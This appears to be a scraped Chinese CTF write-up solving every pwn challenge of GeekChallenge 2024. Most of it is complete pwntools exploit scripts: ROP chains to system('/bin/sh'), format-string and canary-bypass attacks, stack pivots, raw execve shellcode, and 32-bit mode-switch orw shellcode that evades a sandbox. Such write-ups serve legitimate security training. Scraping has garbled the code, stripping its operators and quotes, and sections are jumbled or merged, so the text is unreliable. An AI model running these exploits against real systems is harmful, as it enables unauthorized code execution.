全屏的网站长沙百度首页排名
- 作者: 五速梦信息网
- 时间: 2026年03月21日 09:53
当前位置: 首页 > news >正文
全屏的网站,长沙百度首页排名,推广软件app,怎么做微信小程序平台GeekChallenge 2024 第十五届极客大挑战 pwn AK #x1f340;前言☘️ez_shellcode#xff08;shellcode#xff0c;栈溢出#xff09;#x1f33f;分析#x1f33f;解题#x1f33f;exp ☘️买黑吗喽了吗#xff08;整数溢出#xff0c;栈溢出#xff09;#x1f3… GeekChallenge 2024 第十五届极客大挑战 pwn AK 前言☘️ez_shellcodeshellcode栈溢出分析解题exp ☘️买黑吗喽了吗整数溢出栈溢出分析解题exp ☘️简单的签到随机数分析解题exp ☘️00000随机数分析解题exp ☘️你会栈溢出吗栈溢出分析解题exp ☘️over_flow??栈溢出syscall分析解题exp ☘️这里的空间有点小啊栈迁移分析解题exp ☘️Black_Myth_Wukong格式化字符串栈溢出分析解题exp ☘️su~~栈溢出分析解题exp ☘️我的空调呢不正确的数组索引分析解题exp ☘️真能走到后门吗格式化字符串栈溢出分析解题exp ☘️FindG????tRAP分析解题exp ☘️orz?orw!栈溢出orw分析解题exp ☘️ez_fmt栈溢出分析解题exp ☘️stack_overflow栈溢出canary绕过分析解题exp ☘️学校的烂电梯plus栈溢出分析解题exp ☘️WhoIsAdminAES加密整数溢出栈溢出分析解题exp ☘️struct_one_byte越界修改分析解题exp ☘️hard_orworw分析解题exp ☘️学校的烂电梯pro栈溢出分析解题exp ☘️stdout栈溢出缓冲机制分析解题exp ☘️ez_sropSBROP分析解题exp 题目链接 百度网盘提取码yxxx
前言
本来是没打这个比赛被鱼神喊来炸鱼解了一道题(struct_one_byte)尝到炸鱼的甜头了就全炸了属于是炸爽了。新生赛题目难度还是蛮友好的最难绷的题是FindG???t和ez_srop其他题目比较容易就随便讲讲
应该是最后一次认真打新生赛了难度太低了很多时候是浪费时间 ☘️ez_shellcodeshellcode栈溢出
分析 checksec查看 IDA查看。往bss上写数据。然后是getsgets不开pie和canary的话直接就能getshell 有个后门提权后直接执行刚刚写入的shellcode
解题 先写入shellcode再覆盖ret为后门函数即可
exp
from pwn import *filename ./shellcodedebug 0
if debug:io remote(nc1.ctfplus.cn, 13326)
else:io process(filename)elf ELF(filename)context(arch elf.arch, log_level debug, os linux)def dbg():gdb.attach(io)io.send(b\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05)io.sendline(bA * 0x18 bA * 8 p64(0x401256))io.interactive()☘️买黑吗喽了吗整数溢出栈溢出
分析 checksec查看 IDA查看。开始给了0x100块 shop函数中可以买东西使钱减少减成负数就是大正数 view函数中如果钱够大就可以read一下str1存了格式化字符串参数%x改成%p就可以泄露程序基地址 栈溢出有了基地址就可以rop
解题 先把钱减成负数变成大正数 随后去2泄露 再去3完成rop
exp
from pwn import *filename ./syscalldebug 0
if debug:io remote(nc1.ctfplus.cn, 30701)
else:io process(filename)elf ELF(filename)context(arch elf.arch, log_level debug, os linux)def dbg():gdb.attach(io)libc ELF(./libc.so.6)for i in range(9):io.sendline(1)sleep(0.1)io.sendline(1)sleep(0.1)io.sendline(1)
sleep(0.1)
io.sendline(2)
sleep(0.1)io.sendline(2)
sleep(0.1)
io.send(%p)io.recvuntil(0x0x)
base int(io.recv(12), 16) - 0x4090
success(base hex(base))
rdi base 0x11f1
rsi base 0x11f3
ret base 0x101a
puts_plt base elf.plt[puts]
puts_got base elf.got[puts]io.sendline(3)
io.send(bA * 0x50 bA * 8 p64(rdi) p64(puts_got) p64(puts_plt) p64(base 0x14BC))io.recvuntil(better!\n)libcbase u64(io.recv(6).ljust(8, b\0)) - 0x84420
success(libcbase hex(libcbase))
sys libcbase libc.sym[system]
bin_sh libcbase libc.search(/bin/sh).next()io.send(bA * 0x50 bA * 8 p64(ret) p64(rdi) p64(bin_sh) p64(sys))io.interactive()☘️简单的签到随机数
分析 checksec查看 IDA查看 随机数然后还告诉你了。输入正确就getshell 有个时间限制计算时间不能超过3秒影响不大。可以用python的ctypes模块调用c函数但是似乎有问题还是用他给的数吧
解题 接收一下他给的数然后送过去就好了
exp
from pwn import *filename ./maindebug 0
if debug:io remote(nc1.ctfplus.cn, 22910)
else:io process(filename)elf ELF(filename)context(arch elf.arch, log_level debug, os linux)def dbg():gdb.attach(io)io.recv()
io.send(\n)a int(io.recvuntil( * , drop True))
b int(io.recvuntil( , drop True))io.sendline(str(a * b))io.interactive()☘️00000随机数
分析 checksec查看。保护全开 IDA查看。猜密码如果密码正确就输出flag 从libc随机库中抽了个128位随机数显然不可能破解。程序利用strcmp比较遇\0停止所以有1/256的几率成功密码输入\0就可以了当随机数第一位也为\0的时候比较成功
解题 写一个爆破的脚本就好
exp
from pwn import *filename ./maindebug 0
if debug:io remote(nc1.ctfplus.cn, 27912)
else:io process(filename)elf ELF(filename)context(arch elf.arch, log_level debug, os linux)def dbg():gdb.attach(io)for i in range(256):io process(filename)try:io.sendline(\x00)io.recvuntil({, timeout 0.3)io.interactive()except:continuefinally:io.close()☘️你会栈溢出吗栈溢出
分析 checksec查看 IDA查看 栈溢出没开pie和canary也可以不给后门 有个后门直接溢出就好了
解题 覆盖ret地址
exp
from pwn import *filename ./stackoverdebug 0
if debug:io remote(nc1.ctfplus.cn, 25115)
else:io process(filename)elf ELF(filename)context(arch elf.arch, log_level debug, os linux)def dbg():gdb.attach(io)io.sendline(bA * 0xC bA * 8 p64(0x400729))io.interactive()☘️over_flow??栈溢出syscall
分析 checksec查看 IDA查看 save函数查看可以输入要save的文件的名字服务器会创建一个文件然后将你要save的内容写进文件。禁止文件名为flag。这里存在栈溢出但是开了canary所以没用 ow函数是用汇编写的 open前mov rsi, 0x41有点迷惑后面觉得可能是不让在这里execve。可以看到读入了0x100字节 read就是将save的文件内容读取到v2变量中只能读0x100字节也不存在溢出。但是在读filename的时候溢出了一字节 这一字节刚好能改到下方的open的系统调用号就可以控制程序执行任意系统调用 再看一下or的汇编将open改为自己想要的系统调用号后接着会执行该系统调用参数是(filename, 0, 0)filaname可控显然是要执行execve(‘/bin/sh’, 0, 0)
解题 将filename写成’/bin/sh\x00’系统调用号改为0x3b即可。这题本地24.04不能执行有点迷惑
exp
from pwn import *io remote(nc1.ctfplus.cn, 43640)context(log_level debug, os linux)def dbg():gdb.attach(io)io.sendline(2)
sleep(0.1)
io.send(b/bin/sh\x00 b\x3b)io.interactive()☘️这里的空间有点小啊栈迁移
分析 checksec查看 IDA查看 刚好溢出0x10字节栈溢出到bss段上rop就好了
解题 控制rbp为bssret为read
程序触发第一次leave时mov rsp, rbp; pop rbprbp变为bssrsp变为之前的rbp(一个栈地址) 随后程序执行完read后第二次leaverbp变为bss - 0x30rsp变为bss 8也就是上图ret的位置这里的ret是leave_ret。会接着执行第三次leaverbp变为bss 0x100rsp变为bss - 0x28也就是上图rdi的位置程序继续执行rop泄露了libc。再接一个read 再重复这个操作rop成功
exp
from pwn import *filename ./maindebug 0
if debug:io remote(nc1.ctfplus.cn, 17608)
else:io process(filename)elf ELF(filename)context(arch elf.arch, loglevel debug, os linux)def dbg():gdb.attach(io)libc ELF(./libc.so.6)bss 0x601530
read 0x40071C
ret 0x400738
rdi 0x400853
ret 0x400566
puts_plt elf.plt[puts]
puts_got elf.got[puts]io.sendlineafter(\n, 1)io.sendafter(something\n, bA * 0x30 p64(bss) p64(read))io.send(p64(bss 0x100) p64(rdi) p64(puts_got) p64(puts_plt) p64(read) b/bin/sh\x00 p64(bss - 0x30) p64(ret))libcbase u64(io.recv(6).ljust(8, b\0)) - 0x80970
success(libcbase hex(libcbase))
sys libcbase libc.sym[system]
binsh bss - 0x30 0x28io.send(p64(bss 0x50) p64(ret) p64(rdi) p64(bin_sh) p64(sys) p64(0) p64(bss 0x100 - 0x30) p64(ret))io.interactive()☘️Black_Myth_Wukong格式化字符串栈溢出
分析 checksec查看 IDA查看 有一次栈上任意地址泄露的机会可以泄露libc 输入v2的值不能超过0x100 会输入进这个v2 这里存在off_by_null使得rbp末字节归0随后经过一次ret后第二次ret的地址就可以控控成one_gadget即可
解题 先泄露libc 再将栈上全覆盖为one_gadget因为栈会有偏移不能精准控制只能控制一大片而这一大片刚好是256个字节也就是0xFF所以这题不太需要爆破~~栈溢出
分析 checksec查看 IDA查看 栈溢出标准rop就行了
解题 泄露libc 拿shell
exp
from pwn import *filename ./csudebug 0
if debug:io remote(nc1.ctfplus.cn, 35349)
else:io process(filename)elf ELF(filename)context(arch elf.arch, log_level debug, os linux)def dbg():gdb.attach(io)libc ELF(./libc.so.6)io.sendline(1)rdi 0x400903
ret 0x4005d6
read 0x400798
puts_plt elf.plt[puts]
puts_got elf.got[puts]io.send(bA * 0x80 bA * 0x8 p64(rdi) p64(puts_got) p64(puts_plt) p64(read))io.recvuntil(exit.\n)
libcbase u64(io.recv(6).ljust(8, b\0)) - 0x80970
success(libcbase hex(libcbase))
sys libcbase libc.sym[system]
bin_sh libcbase libc.search(/bin/sh).next()io.send(bA * 0x80 bA * 0x8 p64(ret) p64(rdi) p64(bin_sh) p64(sys))io.interactive()☘️我的空调呢不正确的数组索引
分析 checksec查看 IDA查看。这代码写得有点离谱的 add函数可以往bss段上写一些数据 view函数可以打印一些数据 delete函数删除数据 edit函数这里v1是int类型可以是负数这样可以越界修改数据只要那个地方有值就能改 fun函数有一次任意地址泄露的机会没开pie就直接泄露bss上的IO指针
解题 先用5泄露一下libc 再用edit把bss开头的got表改一下printf的保持不变因为改这个待会还要输出会报错将memset的改为sys地址在delete调用memset的时候如果此时student里写了‘/bin/sh’那么就可以getshell 写一下’/bin/sh’然后调用delete就可以了
exp
from pwn import *filename ./pwndebug 0
if debug:io remote(nc1.ctfplus.cn, 18839)
else:io process(filename)elf ELF(filename)context(arch elf.arch, log_level debug, os linux)def dbg():gdb.attach(io)libc ELF(./libc.so.6)io.sendlineafter(chioce:, 5)
io.sendline(0x404018)io.recvuntil(massege:)
libcbase u64(io.recv(6).ljust(8, b\0)) - libc.sym[puts]
success(libcbase hex(libcbase))
sys libcbase libc.sym[system]
printf libcbase libc.sym[printf]io.sendlineafter(chioce:, 4)
io.sendline(-4)io.send(bA * 0x8 p64(printf) p64(sys))io.sendlineafter(chioce:, 1)
io.sendafter(name:\n, /bin/sh\x00)
io.sendafter(Introduce:\n, A)io.sendlineafter(chioce:, 3)
io.sendline(0)io.interactive()☘️真能走到后门吗格式化字符串栈溢出
分析 checksec查看 IDA分析 有一次格式化字符串漏洞可以泄露canary和栈地址 read里面有差一错误溢出一字节可以改ret的末一位字节 由于vuln是通过main调用的所以返回地址就是接下来的0x4013F1改成0x4013EC就可以重新调用vuln函数实现无限printf就可以任意地址改 有个后门函数将返回地址改为这里就可以了由于相较比较近改末两个字节就可以由于末一字节能通过溢出修改所以只要改末第二个字节
解题 先泄露canary和栈地址 然后改返回地址末位为0xEC重新调用 利用格式化字符串改末第二位溢出改末位就可以了
exp
from pwn import *filename ./fmtdebug 0
if debug:io remote(nc1.ctfplus.cn, 22626)
else:io process(filename)elf ELF(filename)context(arch elf.arch, log_level debug, os linux)def dbg():gdb.attach(io)io.send(A)
sleep(0.1)
io.send(%13\(p%14\)p)
sleep(0.1)
io.recvuntil(0x)
canary int(io.recv(16), 16)
success(canary hex(canary))io.recvuntil(0x)
rbp int(io.recv(12), 16)
success(rbp hex(rbp))
ret rbp - 0x18io.send(p64(ret 1) bA * 0x30 p64(canary) p64(rbp) b\xEC)
sleep(0.1)io.send(b%18c%6$hhn)
sleep(0.1)
io.send(bA * 0x38 p64(canary) p64(rbp) b\x82)io.interactive()
☘️FindG???tRAP
《最颠沛流离的一集》《到底是怎样的flag才配得上这一路的颠沛流离》
分析 checksec查看 IDA查看。读入了0x30字节在栈上然后输个index意思是能任意改栈上内容的一字节。后面又改了一次indexreturn index 这里显然是syscall显然作者是想要改返回地址的末字节但是作者没有考虑到不同环境下那个地址会不同我用的是24.04的虚拟机刚好和作者一样。其他版本会有一定差距因此这是这个题出得不好的地方。
所以我没有考虑syscall
能修改栈上的字节可以做什么呢S7强网杯已经给出了答案可以修改read的返回地址 read在调用开始时会push 0x40111F进栈作为返回地址随后进行read的操作那么获取了栈地址就可以将修改的地方设定为read的返回地址末一字节将0x40111F改为0x401158就可以直接ret而这时候rsp指向的刚好是之前写在栈上的0x30个字节。如果改为0x401154或者55,56的话就可以控制rbxrbpr12这三个寄存器我控制了挺久期间跳到了bss段上写数据但是最后失败了还是换了个方法。
接下来只控制跳到0x401158
期望是泄露libc泄露libc需要控制puts的参数rdi rdi只有这里能控要控制rdi就要控制rsp 而要想有效控制rsp只有这里能控制
利用栈风水手法栈降低。先留下一些rop数据再通过ret直接降低栈跳过升栈的0x40然后程序正常执行执行到mov rdi, rsp后rdi被赋值为了一个栈上的值这个值可能是普通数栈地址libc地址程序地址。需要看栈的上面来确定。随后栈升高0x40来到之前准备的rop处完成puts泄露libc地址再ret回去继续rop
解题 先是第一个ret0x4010C7是即将要ret的地方也就是push rbx然后再降栈的地方为什么不直接降栈而是push一下是因为需要栈对齐要不然等会scanf函数会调用失败
随后栈降低再进行调用read 接下来ret到mov rdi, rsp处控制玩rdi后降栈执行pop rbx rbp r12为了后面程序正常执行这里都恢复的原值在上上个图中的send中rbx为0rbp为0x40200Er12为0x4040BC随后调用puts_plt泄露地址然后是重新开始 在read刚开始时往栈上push了返回地址下面的是之前read 0x30的时候写的数据 将返回地址末位改为0x58就来到了ret然后直接rop 第二次read只往栈上写一个数据 随后再次read改自己返回地址直接ret改rdi为rsp 此时rsp值为这个等会puts的参数就是这个会puts这里的数据 随后是抬高栈然后pop三下把之前留的数据拿走再ret到之前留的plt上 在调用puts函数时在真正puts之前会先将栈进行如上赋值调用之前rsp是0x7ffc332655e8我这里重启了一下程序地址和上面不同。看到将rsp - 0x60的地址改为了libc的地址这里刚好是之前rdi参数的地址所以等会puts的时候会将这里的值泄露就拿到了libc 泄露完后程序照旧执行还是用之前第一次read留的ret地址 照旧再来一遍有libc了就直接控rdi了基本rop就可以了
exp
from pwn import *filename ./pwndebug 0
if debug:io remote(nc1.ctfplus.cn, 45331)
else:io process(filename)elf ELF(filename)context(arch elf.arch, log_level debug, os linux)def dbg():gdb.attach(io)libc ELF(./libc.so.6)puts_plt elf.plt[puts]
io.send(p64(0x4010C7) p64(0) p64(0x40200E) p64(0x40408C) p64(puts_plt) p64(0x4010D1))
sleep(0.1)
io.sendline(-8)
sleep(0.1)
io.send(\x58)
sleep(0.1)io.send(p64(0x401147))
sleep(0.1)
io.sendline(-8)
sleep(0.1)
io.recv()
io.send(\x58)
sleep(0.1)libcbase u64(io.recv(6).ljust(8, b\0)) - 0x202030
success(libcbase hex(libcbase))
sys libcbase libc.sym[system]
bin_sh libcbase libc.search(/bin/sh).next()
rdi libcbase 0x10f75bio.send(p64(rdi) p64(bin_sh) p64(sys))
sleep(0.1)
io.sendline(-8)
sleep(0.1)
io.send(\x58)
sleep(0.1)io.interactive()☘️orz?orw!栈溢出orw
分析 checksec查看 IDA查看。输入v5的值小于等于4就好由于是unsigned不能是负数。输入buf可以溢出有canary用这个泄露canary然后需要改v5的值v5最高比特位要为0才是正数不然read失败。用第二个read栈溢出就好了 沙箱禁了execve影响不大 有个后门函数栈是可执行的所以直接往栈上写shellcode就行了
解题 控制v5的值泄露canary 跳转到后面函数再到栈上正常orw就可以
exp
from pwn import *filename ./orwdebug 0
if debug:io remote(nc1.ctfplus.cn, 14920)
else:io process(filename)elf ELF(filename)context(arch elf.arch, log_level debug, os linux)def dbg():gdb.attach(io)io.sendline(1)io.send(bA b111\x01 bA * 5)io.recvuntil(AAAAA)
canary u64(io.recv(7).rjust(8, b\0))
success(canary hex(canary))io.send(bA * 4 p64(canary) bA * 8 p64(0x4012A7) asm(shellcraft.open(./flag, 0) shellcraft.read(3, 0x404500, 0x100) shellcraft.write(1, 0x404500, 0x100)))io.interactive()☘️ez_fmt栈溢出
分析 checksec查看。保护全开 IDA查看 给了两次泄露的机会有canary优先泄露canary然后再泄露个libc 然后是scanf有问题 观察到rdi是buf就是可以控制scanf的第一个参数控制为%s就相当于gets直接栈溢出基本rop就可以了
解题 泄露canary和libc 改参数基本rop
exp
from pwn import *filename ./pwndebug 0
if debug:io remote(nc1.ctfplus.cn, 18155)
else:io process(filename)elf ELF(filename)context(arch elf.arch, log_level debug, os linux)def dbg():gdb.attach(io)libc ELF(./libc.so.6)io.recv()
io.sendline(9)
canary u64(io.recv(7).rjust(8, b\0))
success(canary hex(canary))
sleep(0.1)io.recv()
io.sendline(38)
libcbase u64(io.recv(6).ljust(8, b\0)) - 0x24083
success(libcbase hex(libcbase))
sys libcbase libc.sym[system]
bin_sh libcbase libc.search(/bin/sh).next()
rdi libcbase 0x23b6a
ret libcbase 0x22679io.send(bA * 0x10 b%s)
sleep(0.1)
io.sendline(bA * 0x38 p64(canary) bA * 8 p64(ret) p64(rdi) p64(bin_sh) p64(sys))io.interactive()☘️stack_overflow栈溢出canary绕过
分析 checksec查看 IDA查看。开始给了fs的地址fs:0x28的位置就是canary。给了一次任意地址改的机会那个if检测是检测了末字节末字节不能为8或0
可以改7个字节显然是改canary随后就可以正常栈溢出rop
解题 将canary改为0 基本rop泄露libc再sys
exp
from pwn import *filename ./pwndebug 0
if debug:io remote(nc1.ctfplus.cn, 42500)
else:io process(filename)elf ELF(filename)context(arch elf.arch, log_level debug, os linux)def dbg():gdb.attach(io)libc ELF(./libc.so.6)puts_plt elf.plt[puts]
puts_got elf.got[puts]rdi_rcx 0x40123fio.recvuntil(gift:)
fs u64(io.recv(6).ljust(8, b\0))
success(fs hex(fs))io.send(p64(fs 0x29))
sleep(0.1)
io.send(b\x00 * 7)
sleep(0.1)io.send(bA * 0x18 p64(0) * 2 p64(rdi_rcx) p64(puts_got) p64(0) p64(puts_plt) p64(0x401247))
io.recvuntil(buf:)
libcbase u64(io.recv(6).ljust(8, b\0)) - 0x80e50
success(libcbase hex(libcbase))
sys libcbase libc.sym[system]
bin_sh libcbase libc.search(/bin/sh).next()io.send(p64(fs 0x29))
sleep(0.1)
io.send(b\x00 * 7)
sleep(0.1)
io.send(bA * 0x18 p64(0) * 2 p64(rdi_rcx) p64(bin_sh) p64(0) p64(sys))io.interactive()☘️学校的烂电梯plus栈溢出
分析 checksec查看 IDA查看 输入v1的值赋给datadata后面也没找到用的地方看汇编 将栈减少了data的值
ask_phone函数没用是给后面的pro准备的
将栈抬高就可以改到ret地址了直接基本rop。原理和FindG???t一样在read真正调用前push了自己的返回地址然后read数据后返回地址发生改变
解题 将栈抬高4个字长 基本rop先libc再sys
exp
from pwn import *filename ./pwndebug 0
if debug:io remote(nc1.ctfplus.cn, 14982)
else:io process(filename)elf ELF(filename)context(arch elf.arch, log_level debug, os linux)def dbg():gdb.attach(io)libc ELF(./libc.so.6)puts_plt elf.plt[puts]
puts_got elf.got[puts]
rdi 0x40127f
ret 0x40101aio.sendline(-4)io.sendline(1)
io.send(bA * 8 p64(rdi) p64(puts_got) p64(puts_plt) p64(0x401303))io.recvuntil(man!!\n)
libcbase u64(io.recv(6).ljust(8, b\0)) - 0x80e50
success(libcbase hex(libcbase))
sys libcbase libc.sym[system]
bin_sh libcbase libc.search(/bin/sh).next()io.sendline(-4)
io.sendline(1)
io.send(bA * 8 p64(ret) p64(rdi) p64(bin_sh) p64(sys))io.interactive()☘️WhoIsAdminAES加密整数溢出栈溢出
分析 checksec查看 IDA查看 AES加密给了特征码 买东西开始输入一下答案口算一下就知道了是1640。v2输入个负数后面*-100,就成正数了money就可以很大 然后就可以buy了 验证加密最后结果是AdminAdminAdminA就通过
这个加密过程是这样的 BinaryCryptoYYDS→BinaryCryptoYYDS的user_key code→BinaryCryptoYYDS的特征码
要想得到AdminAdminAdminA的话需要 BinaryCryptoYYDS的特征码→BinaryCryptoYYDS的user_key code→AdminAdminAdminA的user_key code→AdminAdminAdminA的特征码
也就是“BinaryCryptoYYDS”原始数据“AdminAdminAdminA”目标数据特征码 两个都成功后进入这里栈溢出基本rop即可
解题 直接套板子就可以 买sys 基本rop先libc再sys
exp
from pwn import *filename ./whoisadmindebug 0
if debug:io remote(nc1.ctfplus.cn, 21395)
else:io process(filename)elf ELF(filename)context(arch elf.arch, log_level debug, os linux)def dbg():gdb.attach(io)def strxor(a1, a2): return bytes([b1 ^ b2 for b1,b2 in zip(a1,a2)])io.sendline(1)
io.recvuntil(authcode: )authcode io.recv(64).decode()
user_key bytes.fromhex(authcode)[:16]
code bytes.fromhex(authcode)[16:]
user_keystrxor(user_key,bAdminAdminAdminA)
user_keystrxor(user_key,bBinaryCryptoYYDS)
authcodeuser_key.hex()code.hex()
success(authcode str(authcode))io.sendline(7)
io.sendline(str(authcode))io.sendline(4)
io.sendline(1640)
io.sendline(-500)
io.sendline(6)io.sendline(8)puts_plt elf.plt[puts]
puts_got elf.got[puts]
rdi 0x402db3
ret 0x40101aio.sendline(bA * 0x20 bA * 8 p64(rdi) p64(puts_got) p64(puts_plt) p64(0x402B0F))libc ELF(./libc-2.31.so)
io.recvuntil(name: )
libcbase u64(io.recv(6).ljust(8, b\0)) - 0x84420
success(libcbase hex(libcbase))
sys libcbase libc.sym[system]
bin_sh libcbase libc.search(/bin/sh).next()io.sendline(bA * 0x20 bA * 8 p64(ret) p64(rdi) p64(bin_sh) p64(sys))io.interactive()☘️struct_one_byte越界修改
这题出的比较差不需要溢出一字节直接非预期了
分析 checksec查看 IDA查看 gift泄露了libc add函数先是选择tacher还是student都一样。然后是赋值一些数据IDA里看的比较乱我没看直接gdb看就好。v9赋值的时候溢出了1字节没用 work函数中如果有值就执行一下 执行的函数是这个参数是name和info
将这个函数的地址改为system第一个参数输‘/bin/sh’就可以getshell了 edit函数正常的edit 有个后门没这个也能做
解题 先add一个看看结构 这里打印一下就可以泄露base地址 再加一个 直接将name最大字段赋值为了0x40没有利用一字节溢出 随后将执行函数改为sys的后门就可以了也不用控制参数
exp
from pwn import *filename ./structdebug 0
if debug:io remote(nc1.ctfplus.cn, 23165)
else:io process(filename)elf ELF(filename)context(arch elf.arch, log_level debug, os linux)def dbg():gdb.attach(io)def add(index, name, info):io.sendlineafter(change player info: \n, 1)io.sendlineafter(Index:\n, str(index))io.sendlineafter(students\n \n, 1)io.sendafter(name :\n, name)io.sendafter(info :\n, info)def show(index):io.sendlineafter(change player info: \n, 2)io.sendlineafter(index:\n, str(index))def edit(index, name):io.sendlineafter(change player info: \n, 3)io.sendlineafter(index:\n, str(index))io.sendafter(name :\n, name)add(1, AAAA, B * 0x10)show(1)
io.recvuntil(B * 0x10)base u64(io.recv(6).ljust(8, b\0)) - 0x2190
success(base hex(base))add(0, CCCC, B * 8)sys base 0x16FAedit(1, bA * 0x10 p64(sys))show(1)io.interactive()☘️hard_orworw
分析 checksec分析 IDA分析。经典shellcode开了个沙箱。读4字节 其实读2字节就够了rdx已经是一个大值了直接\x0f\x05继续调用read就可以输入长字节的shellcode 禁的东西挺多没有检查是否是64位直接转32位这些限制就全没有了
解题 转32位的汇编直接套板子没咋看因为一般不会给机会转32位 在32位下进行orw这里不能直接execve是因为execve(‘/bin/sh’, 0, 0)会创建一个新进程这个新进程是64位会调用openat64位中openat被禁就会失败 输入进去就好了
exp
from pwn import *filename ./sandboxdebug 0
if debug:io remote(nc1.ctfplus.cn, 31223)
else:io process(filename)elf ELF(filename)context(arch elf.arch, log_level debug, os linux)def dbg():gdb.attach(io)shellcode_64 mov rdi, 0x10000mov rsi, 0x1000mov rdx, 7mov r10, 0x21mov r8, 0xFFFFFFFFxor r9, r9push SYS_mmappop raxsyscallcldmov rcx, 0x200mov rdi, 0x10000mov rsi, 0x405102rep movsbmov rsp, 0x10800push 0x23push 0x10000pop raxpush raxretfq
shellcode_32 mov eax, 0x6761push eaxmov eax, 0x6C662F2Epush eaxmov ebx, espxor ecx, ecxxor edx, edxmov eax, 5int 0x80mov ebx, 3mov ecx, 0x10500mov edx, 0x100mov eax, 3int 0x80mov ebx, 1mov ecx, 0x10500mov edx, 0x100mov eax, 4int 0x80
io.send(AAAA)
io.send(BBBB)
io.send(b\x0f\x05)io.send(b\x00\x00 (asm(shellcode_64).ljust(0x100, b\0) asm(shellcode_32, archi386, bits32)).ljust(0x200, b\0))io.interactive()☘️学校的烂电梯pro栈溢出
这题有些意外挺简单的没什么人做可能是不太喜欢吧
分析 checksec查看 IDA查看 往data里写数据后面没有用到data看下汇编 将栈减少了data的值 存在溢出有canary显然是要获取canary的值唯一的输出就是number is %lf\n显然要控制v1需要控制ask_phone 这个函数从拿了一个栈的地址往这个栈地址中写一个浮点数后面出去就会以浮点数的形式打印这里的值
前面可以控制栈的高低那就可以把栈移动到rbp - 0x38这个v1的位置刚好是canary的位置随后输入个’\x00’scanf就不会接收然后就不会修改这里的canary值就可以把canary以浮点数的形式打印出来随后基本rop即可
解题 我这里输入28也就是移动了28个字长需要主要的是这个数字必须是偶数如果是奇数会导致后面调用scanf的时候栈不平衡出错
后面输入’\x00’导致scanf失败没有改变canary值再泄露 可以看到这里将canary的地址拿进去了 scanf修改失败 打印这里不用管他的参数我被他这参数骗了好久实际上就是打印刚刚的canary值不知道为什么他这里变成这个了 可以看到打印了一大串数字出来这串数字就是canary的浮点表示形式。有的时候canary会没有浮点表示形式需要多试几次 将浮点数转换为int类型 基本rop先libc再sys
exp
from pwn import *
import structfilename ./pwndebug 0
if debug:io remote(nc1.ctfplus.cn, 21044)
else:io process(filename)elf ELF(filename)context(arch elf.arch, log_level debug, os linux)def dbg():gdb.attach(io)libc ELF(./libc.so.6)puts_plt elf.plt[puts]
puts_got elf.got[puts]
rdi 0x4014c3
read 0x401292
ret 0x40101aio.sendline(str(28))
io.sendline(b\x00)io.recvuntil(you call the number is )data io.recvuntil(\n, drop True)
num float(data)canary int(hex(struct.unpack(Q, struct.pack(d, num))[0]), 16)
success(canary hex(canary))io.recv()io.send(bA * 0x28 p64(canary) bA * 8 p64(rdi) p64(puts_got) p64(puts_plt) p64(read))libcbase u64(io.recv(6).ljust(8, b\0)) - 0x84420
success(libcbase hex(libcbase))
sys libcbase libc.sym[system]
bin_sh libcbase libc.search(b/bin/sh).next()io.sendline(str(1))io.send(bA * 0x28 p64(canary) bA * 8 p64(ret) p64(rdi) p64(bin_sh) p64(sys))io.interactive()☘️stdout栈溢出缓冲机制
分析 checksec查看 IDA查看 输出缓冲区设定是满0x1000才会输出这就是题目说的“异常” puts可以泄露栈上的一些地址 栈溢出基本rop
解题 先利用开始的一次gift泄露栈地址 由于不知道base地址只能将返回地址覆盖一字节改回main函数开始一直输出存进缓冲区存满0x1000就能输出了 将开始的stack接收 控制rbp为自己想要跳转的地方后来发现好像作用不大不用走到pop也不知道当时为啥要整这个地址并且改返回地址为write read刚结束write能泄露栈上一大片地址其中就有base地址 可以看到会将base地址泄露 接收一波 由于read的输入位置不够前面三个send是为了叠出个write来 如图栈的第4行就是叠出来的write叠的过程 先在这里写入了一个write 他这里往下走了一行我没注意发生了啥事 由于pop的原因每次循环都会将栈降低8字节直到有一次能够溢出3行并且第4行是write 输出got表就拿到了libc
观察发现此时的rbp末尾已经归0随后rsp会先变为0x7fffd234a880再变为0x7fffd234a9a0最后变为0x7fffd234a900 从图中可以看到0x7fffd234a900的附近位置都被控制为了one_gadget 最后执行了one_gadget
exp
from pwn import *filename ./maindebug 0
if debug:io remote(nc1.ctfplus.cn, 29878)
else:io process(filename)elf ELF(filename)context(arch elf.arch, log_level debug, os linux)def dbg():gdb.attach(io)libc ELF(./libc.so.6)io.send(\n)
sleep(0.1)
io.sendline(19)
sleep(0.1)io.recvuntil(it: )
libcbase int(io.recv(12), 16) - 0x80b12
success(libcbase hex(libcbase))
one_gadget libcbase 0x4f29eio.sendline(256)
sleep(0.1)
io.send(p64(one_gadget) * 2 * 0x10)io.interactive()☘️su
随后基本rop就可以这里又降低了一下栈因为sys要栈对齐
exp
from pwn import *filename ./pwndebug 0
if debug:io remote(nc1.ctfplus.cn, 33582)
else:io process(filename)elf ELF(filename)context(arch elf.arch, log_level debug, os linux)def dbg():gdb.attach(io)libc ELF(./libc.so.6)io.send(bA * 0x50)for i in range(102):io.sendafter(???,out??\n, bA * 0x40 bA * 0x8 b\x29)io.recvuntil(bA * 0x50)
stack u64(io.recv(6).ljust(8, b\0)) - 0x448 0x50
success(stack hex(stack))io.send(bA * 0x40 p64(stack) b\x78)io.recvuntil(A * 0x40)
io.recv(8)
base u64(io.recv(6).ljust(8, b\0)) - 0x1382
success(base hex(base))
rdi base 0x1403
rsi_r15 base 0x1401
write base 0x1378
ret base 0x101a
puts_got base elf.got[puts]io.send(bA * 0x40 p64(write) b\x29)
io.sendafter(???,out??\n, bA * 0x40 p64(write) b\x29)
io.sendafter(???,out??\n, bA * 0x40 p64(write) b\x29)io.sendafter(???,out??\n, bA * 0x40 bA * 0x8 p64(rsi_r15) p64(puts_got) p64(0))libcbase u64(io.recv(6).ljust(8, b\0)) - 0x84420
success(libcbase hex(libcbase))
sys libcbase libc.sym[system]
bin_sh libcbase libc.search(/bin/sh).next()io.send(bA * 0x40 p64(sys) b\x29)io.sendafter(???,out??\n, bA * 0x40 bA * 0x8 p64(rdi) p64(bin_sh) p64(sys))io.interactive()☘️ez_sropSBROP
《最颠沛流离的第二集》《你们不许拿附件做》《SBROP》
分析
本文的压轴题来了也算是这次新生赛难度最高的一题。如果后面不给附件估计就我一个解
这题开始没给附件第5天才给了不知道是运维的锅还是出题人的锅。我一开始就觉得是有附件没上但4小时做完其他week4的题后没题做了就来做做这个题没想到还真能成功
自创了一种攻击手法SBROPSROP BROPROP如其名
没附件没分析
解题 先写个脚本交互
